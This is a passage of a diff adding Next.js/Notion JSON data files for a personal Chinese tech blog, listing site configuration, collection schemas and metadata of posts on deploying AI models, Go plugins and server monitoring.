970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"},{"id":"c466d345-55bf-4155-a77e-fcd58819a455","color":"brown","value":"准备"},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","color":"green","value":"万里长征"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","color":"gray","value":"运维"},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","color":"orange","value":"linux"},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","color":"orange","value":"脚本"},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","color":"yellow","value":"面试"},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","color":"gray","value":"go"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1","fbea6284-6910-456b-9292-c62e080c9f59"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{"eb3e1328-8f32-4ff5-8d18-8ea80020e175":{"role":"none"}},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":53,"type":"table","name":"Table","format":{"table_properties":[{"width":295,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","33fa284f-0c06-4f26-9ca3-be25469051c4","e267a30e-29c7-47df-8dc2-cbba50b01443","5bc86ceb-2501-4ba3-a7f9-588407e6d47a","154f5010-17f2-8079-beb8-c6a44f0aa69c","153f5010-17f2-8037-8e89-ecfcb9d24a89","b7f50367-a6df-4492-a459-4baef5b1e4c3","a741252c-e46b-4342-998c-58ebc362fc0d","df1cfd49-4665-4429-a601-d6e8d57f2a50","6f317036-a205-45d7-98ce-c95a34ca3000","2187a0b2-05d0-4661-906d-3f47acc5b022","023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","ac8b0aec-6e91-49e0-b6c0-806e97729436","fdb70c2f-29b1-4635-bb36-fc826bad8fbd","2caa6a98-fd82-4de7-838f-e08dfe6649ab","146219e7-c178-4485-b223-22f4b977333c","71879fde-4992-4276-9767-ac5bd71e4058","9a78ba09-76ce-4344-bad5-f6d60dc0680e","63830328-e0f0-477a-b327-bc4ab921f89c","4d955058-b605-46cf-b242-1535b732af30","9a11ddf0-58ae-4450-8583-5ba3e2108e0a","1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","3505b511-076b-47a7-aa1a-95e702c54e6b","463a3c80-4e43-42d9-b436-1299d00df6b2","11d73154-336e-4e5a-8e92-8a8b36b2bc92","df0db62b-d0ed-47f0-b5be-445bfef1f6af","3fb907b8-6154-452a-94f7-a018ba092632","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":2,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"property":"bB{M"},{"value":{"type":"select","value":"面试准备"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":28,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"},{"value":{"type":"select","value":"准备"},"property":"bB{M"},{"value":{"type":"select","value":"万里长征"},"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"2024-1-18","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},"recommendPosts":[{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","date":{"start_date":"2024-06-26","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240626-demo","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","title":"天池大赛Higress插件官方demo详细部署+调试","status":"Published","publishDate":1719360000000,"publishDay":"2024-6-26","lastEditedDate":"2024-06-28T08:12:44.310Z","lastEditedDay":"2024-6-28","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","tagItems":[{"name":"推荐","color":"red"},{"name":"go","color":"gray"},{"name":"折腾","color":"purple"}],"password":""},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","date":{"start_date":"2024-06-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240625-higress","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","title":"Java程序员学习Go开发Higress的WASM插件","status":"Published","publishDate":1719273600000,"publishDay":"2024-6-25","lastEditedDate":"2024-06-26T04:54:09.169Z","lastEditedDay":"2024-6-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"},{"name":"docker","color":"gray"},{"name":"go","color":"gray"}],"password":""},{"id":"146219e7-c178-4485-b223-22f4b977333c","date":{"start_date":"2024-04-29","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240429-prometheus","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","title":"Prometheus+Grafana多方位监控","status":"Published","publishDate":1714348800000,"publishDay":"2024-4-29","lastEditedDate":"2024-04-29T03:07:56.545Z","lastEditedDay":"2024-4-29","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","tagItems":[{"name":"推荐","color":"red"},{"name":"运维","color":"gray"}],"password":""}]},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/example-10.json b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/example-10.json new file mode 100644 index 000000000..5303e51b6 --- /dev/null +++ b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/example-10.json @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core 